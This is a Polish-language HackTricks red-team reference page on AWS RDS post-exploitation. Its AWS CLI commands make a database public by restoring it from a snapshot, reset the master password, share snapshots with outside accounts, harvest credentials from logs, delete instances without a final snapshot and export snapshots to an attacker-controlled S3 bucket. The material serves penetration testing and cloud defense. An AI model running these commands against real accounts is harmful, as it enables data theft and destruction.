AWS - RDS Post Exploitation

Zacznij od zera i stań się ekspertem AWS z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

• Jeśli chcesz zobaczyć swoją firmę reklamowaną na HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!

• Kup oficjalne gadżety PEASS & HackTricks

• Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT

• Dołącz do 💬 Grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud.

RDS

Aby uzyskać więcej informacji, sprawdź:

pageAWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Jeśli atakujący ma wystarczające uprawnienia, może uczynić bazę danych publicznie dostępną, tworząc migawkę bazy danych, a następnie publicznie dostępną bazę danych z tej migawki.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Atakujący posiadający te uprawnienia mógłby utworzyć migawkę bazy danych i udostępnić ją publicznie. Następnie mógłby po prostu utworzyć w swoim własnym koncie bazę danych z tej migawki.

Jeśli atakujący nie ma uprawnienia rds:CreateDBSnapshot, nadal mógłby uczynić inne utworzone migawki publicznie dostępnymi.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

Atakujący posiadający uprawnienia rds:DownloadDBLogFilePortion może pobrać fragmenty plików dziennika instancji RDS. Jeśli wrażliwe dane lub poświadczenia dostępu zostaną przypadkowo zapisane w dzienniku, atakujący może potencjalnie wykorzystać te informacje do eskalacji uprawnień lub wykonania nieautoryzowanych działań.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Potencjalne skutki: Dostęp do poufnych informacji lub nieautoryzowane działania przy użyciu wyciekłych poświadczeń.

rds:DeleteDBInstance

Atakujący posiadający te uprawnienia może przeprowadzić atak typu DoS na istniejące instancje RDS.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Potencjalny wpływ: Usunięcie istniejących instancji RDS i potencjalna utrata danych.

rds:StartExportTask

TODO: Test

Atakujący posiadający to uprawnienie może eksportować migawkę instancji RDS do wiadra S3. Jeśli atakujący ma kontrolę nad docelowym wiadrem S3, może potencjalnie uzyskać dostęp do wrażliwych danych w wyeksportowanej migawce.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potencjalny wpływ: Dostęp do wrażliwych danych w wyeksportowanym migawku.

Zacznij hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

• Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!

• Zdobądź oficjalne gadżety PEASS & HackTricks

• Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT

• Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.

• Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.